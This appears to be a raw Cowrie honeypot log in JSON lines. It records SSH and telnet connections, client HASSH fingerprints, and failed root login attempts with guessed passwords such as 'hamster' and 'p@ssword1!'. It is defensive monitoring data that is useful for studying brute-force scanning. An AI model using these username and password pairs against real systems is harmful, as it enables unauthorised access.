{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:40.454924Z","src_ip":"102.88.137.145","session":"a19c29bfe531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112358","message":"login attempt [root/112358] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:41.202501Z","src_ip":"102.88.137.145","session":"a19c29bfe531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:42.384676Z","src_ip":"102.88.137.145","session":"a19c29bfe531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.38247990608215,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:52.510201Z","src_ip":"192.119.13.58","session":"68999cd17c1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":57622,"dst_ip":"159.203.135.109","dst_port":22,"session":"91fc627de62a","protocol":"ssh","message":"New connection: 94.159.98.239:57622 (159.203.135.109:22) [session: 91fc627de62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:57.508008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:57.633351Z","src_ip":"94.159.98.239","session":"91fc627de62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:57.637264Z","src_ip":"94.159.98.239","session":"91fc627de62a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolparol","message":"login attempt [root/parolparol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:59.010641Z","src_ip":"94.159.98.239","session":"91fc627de62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:00.292125Z","src_ip":"94.159.98.239","session":"91fc627de62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.34314680099487,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:09.818736Z","src_ip":"192.119.13.58","session":"177a7afe8358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":54478,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d02bb91e1bf","protocol":"ssh","message":"New connection: 89.110.87.138:54478 (10.17.0.5:22) [session: 9d02bb91e1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:10.857159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:10.862221Z","src_ip":"89.110.87.138","session":"9d02bb91e1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:10.978049Z","src_ip":"89.110.87.138","session":"9d02bb91e1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radice","message":"login attempt [root/radice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:11.472116Z","src_ip":"89.110.87.138","session":"9d02bb91e1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:12.591748Z","src_ip":"89.110.87.138","session":"9d02bb91e1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42894,"dst_ip":"159.203.135.109","dst_port":22,"session":"06f46f26033e","protocol":"ssh","message":"New connection: 80.66.85.226:42894 (159.203.135.109:22) [session: 06f46f26033e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:20.895128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:20.900107Z","src_ip":"80.66.85.226","session":"06f46f26033e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:21.047933Z","src_ip":"80.66.85.226","session":"06f46f26033e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hamster","message":"login attempt [root/hamster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:21.508407Z","src_ip":"80.66.85.226","session":"06f46f26033e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:22.669718Z","src_ip":"80.66.85.226","session":"06f46f26033e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33844,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b33dab57068","protocol":"telnet","message":"New connection: 192.119.13.58:33844 (10.17.0.5:23) [session: 9b33dab57068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:28.091322Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":46910,"dst_ip":"159.203.135.109","dst_port":22,"session":"337e9e4d9247","protocol":"ssh","message":"New connection: 103.82.132.16:46910 (159.203.135.109:22) [session: 337e9e4d9247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:29.581126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:29.586032Z","src_ip":"103.82.132.16","session":"337e9e4d9247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:29.848964Z","src_ip":"103.82.132.16","session":"337e9e4d9247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamapapa","message":"login attempt [root/mamapapa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:30.637439Z","src_ip":"103.82.132.16","session":"337e9e4d9247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:31.903853Z","src_ip":"103.82.132.16","session":"337e9e4d9247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39120,"dst_ip":"10.17.0.5","dst_port":23,"session":"85bb90f69b7c","protocol":"telnet","message":"New connection: 192.119.13.58:39120 (10.17.0.5:23) [session: 85bb90f69b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:37.261993Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":45338,"dst_ip":"10.17.0.5","dst_port":22,"session":"482032018d6e","protocol":"ssh","message":"New connection: 43.156.39.221:45338 (10.17.0.5:22) [session: 482032018d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:39.037610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:39.042710Z","src_ip":"43.156.39.221","session":"482032018d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:39.278140Z","src_ip":"43.156.39.221","session":"482032018d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword1!","message":"login attempt [root/p@ssword1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:40.233756Z","src_ip":"43.156.39.221","session":"482032018d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39246,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7bc2ce5fc13","protocol":"telnet","message":"New connection: 192.119.13.58:39246 (10.17.0.5:23) [session: e7bc2ce5fc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:40.403442Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:41.467570Z","src_ip":"43.156.39.221","session":"482032018d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":42792,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ec044e0251","protocol":"ssh","message":"New connection: 37.233.85.71:42792 (159.203.135.109:22) [session: 76ec044e0251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:49.788175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:49.792427Z","src_ip":"37.233.85.71","session":"76ec044e0251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:49.896130Z","src_ip":"37.233.85.71","session":"76ec044e0251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tujhrf","message":"login attempt [root/tujhrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:50.209469Z","src_ip":"37.233.85.71","session":"76ec044e0251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:51.317208Z","src_ip":"37.233.85.71","session":"76ec044e0251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35914,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0fa59e86e26","protocol":"ssh","message":"New connection: 103.149.170.125:35914 (159.203.135.109:22) [session: d0fa59e86e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:51.550780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:51.559992Z","src_ip":"103.149.170.125","session":"d0fa59e86e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:53.487141Z","src_ip":"103.149.170.125","session":"d0fa59e86e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha","message":"login attempt [root/masha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:57.399696Z","src_ip":"103.149.170.125","session":"d0fa59e86e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:11:59.265245Z","src_ip":"103.149.170.125","session":"d0fa59e86e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.30815672874451,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:05.399368Z","src_ip":"192.119.13.58","session":"9b33dab57068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":57644,"dst_ip":"10.17.0.5","dst_port":22,"session":"20683cbb54b3","protocol":"ssh","message":"New connection: 102.88.137.145:57644 (10.17.0.5:22) [session: 20683cbb54b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:10.156734Z"}
